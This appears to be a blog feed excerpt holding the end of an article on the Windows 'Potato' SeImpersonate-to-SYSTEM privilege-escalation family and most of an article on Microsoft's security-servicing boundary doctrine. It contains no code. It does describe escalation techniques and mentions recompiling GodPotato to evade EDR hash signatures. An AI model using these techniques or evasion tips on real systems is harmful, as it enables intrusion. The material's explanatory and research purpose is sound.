The name `Potato` originates with Stephen Breen&apos;s `foxglovesec/Potato` repository, created February 9, 2016, three weeks after the January 16, 2016 HotPotato blog post [@foxglove-potato-repo; @foxglove-hotpotato]. HotPotato is in the family because it pivots through the same `SeImpersonatePrivilege` plus named-pipe-impersonation primitive that every later variant exploits -- the vehicle is different (NetBIOS spoofing + WPAD + HTTP-to-SMB rather than Distributed COM) but the architectural carve-out is the same. See §4 for the bracketing-variant framing.


Because every Internet Information Services application-pool identity is granted the privilege by Windows default [@itm4n-printspoofer]. The grant exists for legitimate request-scoped impersonation -- it is the mechanism IIS uses to &quot;act as&quot; a calling user during authenticated request handling. The same default grant is the entire vulnerability surface for the Potato family. The Microsoft Security Servicing Criteria document treats the resulting `SeImpersonate`-to-SYSTEM transition as a safety boundary rather than a security boundary [@msrc-servicing-criteria; @troopers24].


No. CVE-2021-26414 hardening raises the *authentication* bar for Distributed COM clients to `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` and was fully enforced on March 14, 2023 in Phase 3 of the rollout [@ms-kb5004442]. It does not declare Distributed COM activation a security boundary. The proof is that GodPotato, which exploits an RPCSS OXID-handling defect rather than the activation authentication level, survives all three phases of the rollout and remains the practitioner default in 2026 [@beichendream-god].


Open question, with a defensible reading. LocalPotato attacks the local-user-to-local-user NTLM authentication context handle, which *is* on the servicing-criteria boundary list [@decoder-localpotato; @msrc-servicing-criteria]. RemotePotato0 attacks the `SeImpersonate`-to-SYSTEM transition via cross-session Distributed COM activation, which is *not* on the list and was therefore deemed an extension of the existing carve-out [@sentinellabs-relaying; @troopers24]. The two boundaries (local NTLM authentication context vs cross-session Distributed COM activation) are not equivalent in Microsoft&apos;s published servicing position.


Yes, on every patched Windows 11 / Server 2025 build as of this writing [@beichendream-god]. The RPCSS OXID-handling defect that GodPotato weaponises survives all three CVE-2021-26414 hardening phases [@ms-kb5004442; @compass-three-headed]. Microsoft has not assigned a CVE to the underlying defect, consistent with the servicing-criteria reading. Operationally, the only thing that changes between releases is the binary signature -- EDR vendors signature the public Apache-2.0 binary by hash, and operators recompile from source with cosmetic changes to evade [@beichendream-god].


Does not exist as of May 2026. If a 2025-2026 variant appears under an unfamiliar name -- French or otherwise -- verify against the canonical sources before citing: `decoder.cloud` for the Pierini and Cocomazzi line, `github.com/antonioCoco/*` for the Cocomazzi-authored repositories, `github.com/BeichenDream/*` for the BeichenDream line, and `itm4n.github.io` for the PrintSpoofer / SweetPotato line [@decoder-silverpotato; @antonio-rogue; @beichendream-god; @itm4n-printspoofer]. The Troopers 24 retrospective is the community-canonical lineage list as of the most recent consolidated talk [@troopers24].


Informally, no. The primitive `ImpersonateNamedPipeClient` is in the legitimate hot path of nearly every Windows service [@ms-impersonate-api]. Per-variant signatures exist for the public binaries (GodPotato, PrintSpoofer, JuicyPotato), and ETW providers `Microsoft-Windows-COM` and `Microsoft-Windows-RPC` surface the activation-and-RPC events that the Distributed COM variants generate. A class-generalising detection rule has not been published as of May 2026, and the false-positive rate on legitimate Windows services is high for any rule that fires on `ImpersonateNamedPipeClient` alone [@troopers24].

&lt;h2&gt;13. The Architectural Decision&lt;/h2&gt;
&lt;p&gt;Return to the opening scene. The same Internet Information Services web shell, the same &lt;code&gt;GodPotato.exe&lt;/code&gt;, the same ten-second SYSTEM shell. The reader now knows this is not a zero-day. It has been a single-binary operation for the better part of a decade. Every step is documented Win32 behaviour. And every step is permitted by Microsoft&apos;s published servicing position [@beichendream-god; @msrc-servicing-criteria; @troopers24].&lt;/p&gt;
&lt;p&gt;Nine years of named-variant disclosures. Eleven named variants. Three Microsoft hardening waves. Two CVEs -- LocalPotato in January 2023, FakePotato in July 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]. One &quot;Won&apos;t Fix&quot; decision on a working Domain Admin escalation in April 2021 [@sentinellabs-relaying]. Zero declarations of &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; or Distributed COM activation as a security boundary [@troopers24; @msrc-servicing-criteria]. The MSRC Windows Security Servicing Criteria document, the one whose boundary definition fetches in static HTML and whose enumeration table is JavaScript-rendered, is the through-line [@msrc-servicing-criteria]. Pierini and Cocomazzi say it bluntly in the Troopers 24 abstract:&lt;/p&gt;

Microsoft does not consider WSH a security boundary but rather a safety boundary; for this reason, many Potato exploits work (and have been working) on fully updated Windows systems. -- Pierini and Cocomazzi, Troopers 24 abstract [@troopers24]
&lt;p&gt;Microsoft will never fix the Potato class because fixing it requires declaring Distributed COM activation a security boundary, and they have spent twenty-five years insisting it is not. What would change that? A major-version Windows release that explicitly revokes the default &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; grant from service accounts -- a compatibility-breaking change that breaks IIS, SQL Server, BITS, the Spooler, and most third-party services that depend on the legitimate impersonation contract. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria; @ms-kb5004442; @beichendream-god].&lt;/p&gt;
&lt;p&gt;Until then, the family is alive, and the ten-second SYSTEM shell is the default outcome of any IIS or service-account foothold on a fully-patched Windows machine. That is not the unintended consequence of an unpatched bug. That is the intended consequence of a published architectural decision.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Potato family is not a stack of bugs Microsoft is slowly working through. It is the long-running consequence of a published architectural decision: that the &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;-to-SYSTEM transition is a safety boundary, not a security boundary. Eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -&amp;gt; FakePotato August 2024) are the empirical proof of how stable that decision is [@troopers24; @msrc-servicing-criteria].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The following retention block summarises the six key terms above. Citations for each definition live in §2.1, §2.2, §6.5, §6.1, §3, and §2 of the body respectively (the StudyGuide MDX wrapper does not render &lt;code&gt;@ref-id&lt;/code&gt; links inline).&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;potato-family-decade-ntlm-reflection&quot; keyTerms={[
  { term: &quot;SeImpersonatePrivilege&quot;, definition: &quot;Windows user-rights assignment that permits a thread to substitute another user&apos;s security context for its own; granted by default to LOCAL SERVICE, NETWORK SERVICE, and most service accounts (see §2.1 for full citation).&quot; },
  { term: &quot;ImpersonateNamedPipeClient&quot;, definition: &quot;Win32 API that lets a named-pipe server adopt the security context of whoever just connected to the pipe; documented today as supported since Windows XP for clients and Windows Server 2003 for servers (see §2.2 for full citation).&quot; },
  { term: &quot;OXID resolver&quot;, definition: &quot;RPCSS subsystem that resolves Object Exporter Identifiers during DCOM activation; hard-coded to 127.0.0.1:135 in Windows 10 1809 / Server 2019 to mitigate JuicyPotato (see §6.1).&quot; },
  { term: &quot;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&quot;, definition: &quot;RPC authentication-level constant requiring per-packet integrity signing; the minimum CVE-2021-26414 enforces on DCOM activation in Phase 3 (March 14, 2023) (see §6.5).&quot; },
  { term: &quot;NTLM reflection&quot;, definition: &quot;Special case of NTLM relay where the authentication is forwarded back to the originating machine, typically across protocols (HTTP to SMB, DCOM to local RPC) (see §3).&quot; },
  { term: &quot;Security boundary vs safety boundary&quot;, definition: &quot;MSRC servicing-criteria distinction: security boundaries get CVEs and security updates; safety boundaries are patched when convenient but carry no service-level guarantee (see §2).&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>privilege-escalation</category><category>ntlm-relay</category><category>dcom</category><category>msrc</category><category>red-team</category><category>post-exploitation</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Windows Security Boundaries: The Document That Decides What Gets a CVE</title><link>https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/</link><guid isPermaLink="true">https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/</guid><description>Microsoft maintains a single public document that decides which Windows vulnerability reports receive a CVE, a Patch Tuesday bulletin, and a bounty payout. Here is how to read it.</description><pubDate>Sun, 24 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Microsoft maintains a single public document that decides which Windows vulnerability reports receive a CVE, a Patch Tuesday bulletin, and a bounty payout, and which receive &quot;by design.&quot;** The *Security Servicing Criteria for Windows* enumerates nine security **boundaries** (network, process, kernel, session, user, AppContainer, virtual machine, Virtual Trust Level, and as of 2025, the Administrator Protection elevation path) and seven security **features** (UAC, Microsoft Defender, HVCI, Driver Signing, Protected Process Light, admin-to-kernel privilege escalation, same-user post-authentication). A two-question triage rule generates every MSRC disposition, including every &quot;by design -- UAC is not a security boundary&quot; reply you have ever read. Reading the doctrine is the difference between filing a useful MSRC report and getting back one polite sentence.
&lt;h2&gt;1. A UAC Bypass Walks Into MSRC&lt;/h2&gt;
&lt;p&gt;Three weeks of reverse engineering. A clean video of &lt;code&gt;consent.exe&lt;/code&gt; being skipped via a registry-hijack technique. A report filed through &lt;code&gt;msrc.microsoft.com/report&lt;/code&gt;. Two business days later, the Microsoft Security Response Center replies in one sentence: &lt;em&gt;&quot;Thank you for the report. UAC is not a security boundary; please refer to the Microsoft Security Servicing Criteria for Windows. This issue is by design.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That sentence has been Microsoft&apos;s consistent position since June 2007 [@russinovich-vista-uac-wayback]. It is the operational anchor of every Windows vulnerability disposition made in the last nineteen years, and it routes through a single public document most researchers have never read.&lt;/p&gt;
&lt;p&gt;The document is called the &lt;em&gt;Microsoft Security Servicing Criteria for Windows&lt;/em&gt; [@msrc-criteria]. Twenty-eight paragraphs and two enumerated tables live on a single MSRC web page. Those paragraphs decide which Windows findings get a CVE number, which get a Patch Tuesday bulletin, which get a bounty payout, and which get a polite &quot;by design&quot; reply that closes the ticket without a fix. Every other operational artifact in Microsoft&apos;s security response -- the bounty schedule, the monthly bulletin calendar, the per-finding severity ratings -- is downstream of this one taxonomy.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The &quot;by design&quot; reply is not boilerplate. Every MSRC triage engineer who issues it is applying a specific clause of a specific document. The reply means: we read your finding, mapped it against our published classification, and the primitive you attacked is on our security-feature list rather than our security-boundary list. We may still harden the feature in a future build, but we are not going to assign a CVE or ship a Patch Tuesday bulletin for it. The classification is published. The disposition follows from the classification.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The researcher&apos;s first reaction is the natural one. Three weeks of work. A working bypass. A Microsoft binary skipped. And the reply is &lt;em&gt;one sentence&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;It is right, and the rest of this article is the explanation of why. We will walk the document&apos;s history from a single June 2007 TechNet article through the November 2024 Administrator Protection announcement, decode the two-question triage rule that generates every MSRC disposition, take each of the nine boundaries and each of the seven features in turn, and finish with a checklist for filing a report that does not come back &quot;by design.&quot;&lt;/p&gt;
&lt;p&gt;To understand why the reply was operationally correct, not a cop-out, we have to walk the document&apos;s history back to its origin: a single article published in &lt;em&gt;TechNet Magazine&lt;/em&gt; in June 2007, by an author Microsoft had named a Technical Fellow just five months before.&lt;/p&gt;
&lt;h2&gt;2. The Pre-Doctrine Era&lt;/h2&gt;
&lt;p&gt;For the first fourteen years of Windows NT, there was no servicing-criteria document. There did not need to be.&lt;/p&gt;
&lt;p&gt;Windows NT 3.1 (July 1993) shipped with the architectural pieces every later boundary entry would rest on: the user-mode/kernel-mode privilege split enforced by the CPU&apos;s ring transitions, securable kernel objects mediated by the reference monitor&apos;s &lt;code&gt;SeAccessCheck&lt;/code&gt; primitive, the Security Account Manager (SAM) database with per-user Security Identifiers (SIDs), discretionary access control lists, and access tokens that travelled with every thread [@openlib-custer-nt]. The kernel boundary -- user-mode code MUST NOT execute kernel code without a syscall transition -- and the user boundary -- one user&apos;s process MUST NOT read another user&apos;s data without permission -- were born here as primitives, two decades before either would be enumerated in a vendor-disclosure document.&lt;/p&gt;
&lt;p&gt;But the architecture was not a doctrine. The boundaries sat &lt;em&gt;implicitly&lt;/em&gt; inside Helen Custer&apos;s &lt;em&gt;Inside Windows NT&lt;/em&gt; (Microsoft Press, 1992) and a handful of internal MSDN reference monographs. A researcher reporting a finding in 1998 could not look up &quot;is this a boundary?&quot; anywhere they were authorised to read.&lt;/p&gt;

A *security boundary* provides a logical separation between the code and data of security domains with different levels of trust [@msrc-criteria]. The defining requirement is that security policy dictates what can pass through the boundary -- a guarantee, not a hint. A *security feature*, by contrast, raises the difficulty of attack but carries no vendor commitment that the separation will hold. This distinction, articulated by Mark Russinovich in 2007, is the load-bearing taxonomy of the entire MSRC triage process.
&lt;p&gt;Three failures accumulated pressure during the implicit-boundary era.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Power Users group.&lt;/strong&gt; Microsoft documented the &lt;code&gt;Power Users&lt;/code&gt; group on Windows 2000 and XP as a &quot;less-privileged-than-administrator&quot; middle tier. Microsoft Knowledge Base article KB 825069 eventually conceded that members could obtain administrator rights through multiple privilege paths (the article has since been retired).The Power Users group survived through Windows Server 2003 and was finally dropped from the default Windows Vista install. The lesson stuck: a tier presented as a separation without a policy-enforced guarantee is not a separation at all. The Russinovich convenience-vs-boundary distinction inherits the lesson. A tier presented operationally as a boundary that turned out never to have been one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The wormable RCE class of 2001-2003.&lt;/strong&gt; Code Red (July 2001) and the RPC DCOM Blaster worm (August 2003) compromised millions of internet-connected Windows hosts [@caida-code-red], [@cert-vu-568148]. Microsoft shipped MS03-026 with Critical severity for the Blaster RPC interface vulnerability [@ms-bulletin-ms03-026]. Operationally, the events made one thing legible: there was no place in the kernel architecture you could point at and say &quot;this is the network boundary that held.&quot; There was a buffer overflow, an unauthenticated RPC call, and a worm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The 2002 Shatter class.&lt;/strong&gt; In August 2002, a researcher posting under the handle &quot;Foon&quot; (Chris Paget) disclosed to NTBugtraq that any process on the interactive desktop could drive any other process&apos;s windows via Win32 messages [@helpnetsecurity-shatter-2002]. That included &lt;code&gt;SYSTEM&lt;/code&gt;-level services with windows on the same desktop, turning every interactive service into a local privilege-escalation surface. Brett Moore generalised the class the following year in &lt;em&gt;Shattering By Example&lt;/em&gt;, walking message types like &lt;code&gt;WM_SETTEXT&lt;/code&gt;, &lt;code&gt;SB_SETTEXT&lt;/code&gt;, and &lt;code&gt;SB_GETTEXTLENGTH&lt;/code&gt; and turning a one-off bug into a systematic primitive [@exploit-db-21691]. Microsoft&apos;s initial response framed the problem as architectural-by-design rather than as a vulnerability. The community could not predict that response, because the boundary was nowhere written down.&lt;/p&gt;

timeline
    title Pre-doctrine era (NT 3.1 to Vista RTM)
    1993 : Windows NT 3.1 ships with SeAccessCheck and per-user SIDs
    1995 : Windows NT 3.51 and the SAM database stabilise
    1996 : Windows NT 4.0 ships with the Power Users group
    2000 : Windows 2000 introduces Active Directory
    2001 : Code Red worm compromises IIS hosts at internet scale
    2002 : Chris Paget discloses Shatter via NTBugtraq
    2002 : Bill Gates Trustworthy Computing memo reorders Microsoft priorities
    2003 : Brett Moore generalises Shatter in Shattering By Example
    2003 : RPC DCOM Blaster worm and MS03-026
    2006 : Russinovich joins Microsoft via Winternals acquisition
    2006 : Windows Vista RTM ships with UAC, MIC, UIPI, and Session 0 isolation
    2007 : Russinovich promoted to Technical Fellow
&lt;p&gt;The combined pressure forced Bill Gates&apos;s January 15, 2002 &lt;em&gt;Trustworthy Computing&lt;/em&gt; memo -- &lt;em&gt;&quot;Trustworthy Computing is the highest priority for all the work we are doing&quot;&lt;/em&gt; [@wired-twc-memo]. The memo did not itself contain a boundary taxonomy. It reorganised engineering priorities so that one could be written.&lt;/p&gt;
&lt;p&gt;By the November 2006 Vista launch, the mechanisms were in the box. Windows Vista shipped with User Account Control, the linked-token split, Mandatory Integrity Control, the User Interface Privilege Isolation (UIPI) shield, and Session 0 isolation [@ms-news-vista-launch]. By June 2007, those mechanisms had names. The document the next two decades of Windows vulnerability disclosure would route through was about to be written -- not by an MSRC document committee, but by a single Technical Fellow Microsoft had promoted to the title five months earlier.&lt;/p&gt;
&lt;h2&gt;3. Russinovich, June 2007, and the Birth of the Distinction&lt;/h2&gt;
&lt;p&gt;In the June 2007 issue of &lt;em&gt;TechNet Magazine&lt;/em&gt;, Mark Russinovich -- promoted to Technical Fellow that January, after joining Microsoft via the July 2006 Winternals acquisition -- published a single article that would dictate the disposition of every Windows vulnerability filed for the next nineteen years. The article was &lt;em&gt;Inside Windows Vista User Account Control&lt;/em&gt; [@russinovich-vista-uac-wayback]. Its load-bearing section, &lt;em&gt;Elevations and Security Boundaries&lt;/em&gt;, ran two paragraphs.&lt;/p&gt;

It&apos;s important to be aware that UAC elevations are conveniences and not security boundaries. A security boundary requires that security policy dictates what can pass through the boundary. User accounts are an example of a security boundary in Windows because one user can&apos;t access the data belonging to another user without having that user&apos;s permission. -- Mark Russinovich, *Inside Windows Vista User Account Control*, TechNet Magazine, June 2007
&lt;p&gt;The article was first published on TechNet on May 23, 2007 and ran in the June issue of the magazine [@russinovich-vista-uac-announce]. That sentence is the doctrinal origin point. Three architectural ideas appear in it: boundaries exist, they are different from features, and UAC sits on the feature side.&lt;/p&gt;
&lt;p&gt;Russinovich then walked the structural reason. The Vista UAC split-token model shares a great deal between the standard-user token and the elevated-administrator token [@russinovich-vista-uac-wayback]: the same SID, the same &lt;code&gt;%USERPROFILE%&lt;/code&gt; directory, the same &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; registry hive, the same logon session, and the same DOS device object directory. Those shared resources are the reason the elevation path cannot be a &lt;em&gt;guaranteed&lt;/em&gt; separation. An attacker running at standard integrity on the same desktop can interact with the elevated process&apos;s window station, its named objects, and its user-writable files. The convenience is real -- prompting before a privileged operation is a high-friction barrier against accidental elevation. The guarantee is not.&lt;/p&gt;

flowchart TD
    User[Interactive user logs on]
    User --&amp;gt; Linked[Linked-token logon]
    Linked --&amp;gt; Standard[Standard-user token]
    Linked --&amp;gt; Elevated[Elevated administrator token]
    subgraph Shared[Shared resources between the two tokens]
        SID[Same user SID]
        Profile[Same USERPROFILE]
        HKCU[Same HKCU hive]
        Session[Same logon session]
        Desktop[Same interactive desktop]
    end
    Standard -.-&amp;gt; Shared
    Elevated -.-&amp;gt; Shared
    Shared --&amp;gt; Verdict[No guaranteed separation = feature, not boundary]
&lt;p&gt;The article identifies the &lt;em&gt;real&lt;/em&gt; boundaries Windows enforces -- the user boundary (cross-user access requires explicit permission), the kernel boundary (the syscall gate), and the process boundary (one process cannot read another&apos;s memory without &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; access) -- as the lines policy &lt;em&gt;does&lt;/em&gt; enforce. UAC sits among the features that make those boundaries cheaper to defend, not among the boundaries themselves.&lt;/p&gt;

The widely-circulated press narrative is that Microsoft *initially* called UAC a security boundary and *retracted* that classification in 2009 after the Zheng and Rivera research. This framing is false. Russinovich&apos;s June 2007 article already said verbatim that UAC elevations are &quot;conveniences and not security boundaries.&quot; The position was on the record from Vista&apos;s first six months, two years before any 2009 Windows 7 beta disclosure. What Microsoft changed in 2009 was *implementation* -- the UAC slider began running at High integrity, UAC-settings changes began prompting -- not the classification. The Russinovich Windows 7 follow-up restated the original position word for word [@ms-learn-russinovich-win7].
&lt;p&gt;The historical record matters because so much downstream doctrine rests on it. In late January 2009, Long Zheng and Rafael Rivera demonstrated a Windows 7 beta UAC auto-elevation flaw via &lt;code&gt;rundll32.exe&lt;/code&gt;: Microsoft-signed binaries inside &lt;code&gt;%SystemRoot%&lt;/code&gt; auto-elevated when invoked from a process holding the user&apos;s administrator token, and &lt;code&gt;rundll32.exe&lt;/code&gt; accepted arbitrary DLL paths [@crn-uac-flaw-2009].The original &lt;code&gt;istartedsomething.com&lt;/code&gt; post and the Ars Technica contemporary coverage have since been reorganised away by both sites; the CRN contemporary report (cited here) preserves the disclosure timeline, the &lt;code&gt;rundll32.exe&lt;/code&gt; mechanism, and the Microsoft response. The historical claim is uncontested. What is contested is the framing of Microsoft&apos;s response, which primary sources show was implementation hardening, not a change in classification. Microsoft&apos;s &lt;em&gt;initial&lt;/em&gt; reply (&quot;by design; UAC is not a security boundary&quot;) was operationally consistent with the June 2007 article. The &lt;em&gt;engineering&lt;/em&gt; response that followed -- UAC slider promoted to High integrity, UAC-settings changes prompting -- was implementation hardening, not reclassification. The doctrinal position did not move. Russinovich&apos;s July 2009 follow-up, &lt;em&gt;Inside Windows 7 User Account Control&lt;/em&gt;, restated the convenience-vs-boundary argument with the same architectural reasoning [@ms-learn-russinovich-win7].&lt;/p&gt;
&lt;p&gt;Russinovich&apos;s June 2007 article gave the community three ideas: boundaries exist; they are different from features; UAC sits on the feature side. The next step was to publish the table. That took roughly five years.&lt;/p&gt;
&lt;h2&gt;4. The Document Accumulates&lt;/h2&gt;
&lt;p&gt;Between 2007 and 2026, the boundary table grew by accretion. One new entry per Windows generation. The shape of the doctrine changed three times.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 1 -- scattered prose (2007 to roughly 2010).&lt;/strong&gt; Russinovich&apos;s June 2007 article, plus the July 2009 &lt;em&gt;Inside Windows 7 User Account Control&lt;/em&gt; restatement, articulated the convenience-vs-boundary doctrine without a public enumeration. A reader of the two articles could correctly predict the disposition of a UAC bypass, and could correctly predict that user-to-user data access was a CVE-eligible boundary violation. They could not, from those articles alone, predict the disposition of a network-stack RCE, an AppContainer escape, or a guest-to-host virtual-machine break. The doctrine was consistent but it was not yet a document.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 2 -- the enumerated MSRC page (roughly 2010 to 2015).&lt;/strong&gt; The &lt;code&gt;microsoft.com/en-us/msrc/windows-security-servicing-criteria&lt;/code&gt; page appears in something close to its current form. It states the two-question triage rule. It includes the verbatim definition of a security boundary. It enumerates a list of boundaries -- process, kernel, network, session, user, AppContainer, virtual machine, web browser -- and a parallel list of security features. The doctrine moves from a single magazine article to a vendor commitment with a URL [@msrc-criteria].The first-publication date of the page is folk knowledge. Wayback Machine snapshots survive from 2017 onward at the current URL slug. No Microsoft announcement post pins the exact date the page first appeared, so the &quot;roughly 2010&quot; figure is a community estimate rather than a documented birthday.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 3 -- VTL added (2015 to 2017).&lt;/strong&gt; Windows 10 1507 (RTM July 29, 2015) shipped Virtualization-Based Security, the Secure Kernel, Isolated User Mode (IUM), and the first canonical Trustlet -- LsaIso, the Credential Guard isolated LSA process. The boundary table grew a row whose enforcement primitive is the hypervisor itself: VTL0 (the normal kernel) cannot read or modify VTL1 (the Secure Kernel and IUM) without going through documented hypercalls [@ms-learn-vbs-ci]. The strongest local boundary on the system is now classified, not orphaned.&lt;/p&gt;

A *Trustlet* is a process that runs inside Isolated User Mode (IUM) -- the user-mode portion of VTL1 -- protected by the hypervisor from the normal-kernel VTL0 [@ms-learn-vbs-ci]. The canonical example is LsaIso, the Isolated LSA process that holds the credential material Credential Guard protects. Even a kernel-mode attacker in VTL0 cannot read the memory of a Trustlet running in VTL1; the hypervisor&apos;s second-level address translation tables do not map VTL1 pages into VTL0. Cross-VTL communication routes through Virtual Secure Mode hypercalls (`HvCallVtlCall` and `HvCallVtlReturn`), which are the only documented channel.
&lt;p&gt;&lt;strong&gt;Generation 4 -- stabilised reference (2018 to 2024).&lt;/strong&gt; No new rows. The boundary list is treated as a stable reference that MSRC, researchers, and the community all cite. Three flagship community projects encode the doctrine in their names and structure during this period: hfiref0x&apos;s UACMe (more than 80 catalogued UAC bypasses, none of which receive CVE numbers) [@uacme]; Gabriel Landau&apos;s &lt;em&gt;ItsNotASecurityBoundary&lt;/em&gt; GitHub repository, whose name is an explicit homage to MSRC&apos;s admin-to-kernel policy [@landau-itsnotasb-gh]; and Alon Leviev&apos;s &lt;a href=&quot;https://paragmali.com/blog/windows-downdate-when-the-update-itself-is-the-attack/&quot; rel=&quot;noopener&quot;&gt;Windows Downdate&lt;/a&gt;, presented at Black Hat USA 2024 [@leviev-downdate-orig]. The community-side institutional memory now exists outside MSRC, augmented by Matt Miller&apos;s BlueHat IL keynotes (notably the 2019 &lt;em&gt;Trends, challenges, and shifts in software vulnerability mitigation&lt;/em&gt; talk) that carried the boundary-and-mitigations story to the security-conference audience in parallel with the MSRC page [@miller-bluehat-il-2019].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 5 -- Administrator Protection (2024 to 2026).&lt;/strong&gt; On November 19, 2024, David Weston announced &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;Administrator Protection&lt;/a&gt; at Microsoft Ignite, framing it as part of the Windows Resiliency Initiative [@weston-ignite-2024]. The Microsoft Learn page carries the verbatim doctrinal statement: &lt;em&gt;&quot;Administrator protection introduces a new security boundary with support to fix any reported security bugs&quot;&lt;/em&gt; [@ms-learn-admin-protection]. This is the first new boundary entry added to the servicing-criteria table in nearly a decade.&lt;/p&gt;

The *System Managed Administrator Account* is the elevation primitive at the heart of Administrator Protection [@ms-learn-admin-protection]. Each interactive user with administrator privileges has a hidden, system-generated, profile-separated SMAA companion account provisioned in the SAM database. Elevations route through Windows Hello consent and run against the SMAA token, which has a *different* SID, a *different* profile directory, and a *different* logon session from the user&apos;s standard-user token. The token is destroyed when the elevated process ends. The shared-resources structural reason UAC could not be a boundary no longer applies, because the SMAA token does not share those resources with the user&apos;s standard token.

timeline
    title Five generations of the boundary doctrine
    section Generation 1 - Scattered prose (2007 to 2010)
        2007 : Russinovich publishes the convenience-vs-boundary distinction
        2009 : Long Zheng and Rafael Rivera force UAC implementation hardening
        2009 : Russinovich Windows 7 follow-up restates the doctrine
    section Generation 2 - Enumerated page (2010 to 2015)
        2010 : MSRC servicing-criteria page goes live with two-question rule
        2014 : hfiref0x publishes UACMe v1.0
        2014 : CVE-2014-4113 Win32k EoP becomes canonical kernel-boundary case
    section Generation 3 - VTL added (2015 to 2017)
        2015 : Windows 10 1507 ships VBS, Secure Kernel, Credential Guard
        2016 : Edge AppContainer sandbox cements the browser boundary entry
        2017 : EternalBlue and MS17-010 anchor the network-boundary case study
    section Generation 4 - Stabilised reference (2018 to 2024)
        2023 : Landau PPLFault names PPL as not a security boundary
        2024 : Landau ItsNotASecurityBoundary homages MSRC policy in repo name
        2024 : Leviev Windows Downdate at Black Hat USA 2024
    section Generation 5 - Administrator Protection (2024 to 2026)
        2024 : Ignite keynote announces Administrator Protection as new boundary
        2025 : Developer-blog detail post lands
        2025 : October non-security update KB5067036 rolls out and is reverted
        2026 : Forshaw publishes nine pre-GA bypasses via Project Zero
&lt;p&gt;The December 1, 2025 rollout revert of the October 2025 non-security update KB5067036 is an application-compatibility decision, not a doctrinal one [@ms-learn-admin-protection]. The Microsoft Learn page now reads that the feature will roll out &quot;at a later date.&quot; The boundary classification stands; the rollout schedule slipped.&lt;/p&gt;
&lt;p&gt;Five generations later, the boundary table has nine entries. The next section walks the parallel evolution that nobody outside MSRC reads first -- the not-a-boundary table -- because that is the table that decides what does &lt;em&gt;not&lt;/em&gt; get a CVE.&lt;/p&gt;
&lt;h2&gt;5. The Not-a-Boundary Table Also Accumulates&lt;/h2&gt;
&lt;p&gt;For every boundary Microsoft has added to the servicing-criteria table, there is a primitive that did not make the list. The not-a-boundary table tells a parallel story: primitives that attackers repeatedly tried to make into boundaries, and that Microsoft repeatedly classified as features. Seven entries, each tied to a load-bearing research artifact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User Account Control (since June 2007).&lt;/strong&gt; The original not-a-boundary entry; see Section 8.1 for the full treatment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Driver Signing / Code Integrity / KMCS (since the Vista x64 kernel-mode driver signing requirement).&lt;/strong&gt; Local administrator can, by design, load drivers; see Section 8.2. The &quot;bring your own vulnerable driver&quot; (BYOVD) catalog and the &lt;a href=&quot;https://www.loldrivers.io/&quot; rel=&quot;noopener&quot;&gt;LOLDrivers project&lt;/a&gt; are the institutional memory [@loldrivers].&lt;/p&gt;

*BYOVD* is the attack pattern in which a privileged user installs a legitimately-signed driver that happens to contain an exploitable vulnerability, then exploits the driver to obtain arbitrary kernel-mode code execution. Because Driver Signing is on the security-feature side of the doctrine, a BYOVD chain that exploits a signed driver does not, on its own, receive a CVE attributed to Microsoft -- the driver vendor may receive one, but Microsoft does not classify the loadability of the driver as a boundary crossing. The Lazarus Group&apos;s use of expired-but-signed drivers and the broader [LOLDrivers catalog](https://www.loldrivers.io/) are the operational embodiment of this classification [@loldrivers].
&lt;p&gt;&lt;strong&gt;Microsoft Defender / Antimalware.&lt;/strong&gt; A heuristic detection layer cannot, by construction, be a boundary. Defender bypasses earn CVEs only when they also cross another boundary (see Section 8.3 for the Tavis Ormandy 2014 to 2017 network-boundary pattern; the flagship CVE-2017-0290 &lt;em&gt;crazy bad&lt;/em&gt; MsMpEng RCE is the canonical example [@ms-advisory-4022344]).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HVCI / Memory Integrity.&lt;/strong&gt; A feature enforced &lt;em&gt;at&lt;/em&gt; the VTL boundary, not itself a boundary; see Section 8.4.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Protected Process Light (PPL).&lt;/strong&gt; Introduced in Windows 8.1 to protect anti-malware services and other specially-signed processes from administrator tampering [@ms-learn-am-ppl]. Gabriel Landau&apos;s PPLFault research preserves the verbatim MSRC position that PPL is not a security boundary; see Section 8.5 for the full Landau quotation [@landau-pplfault].&lt;/p&gt;
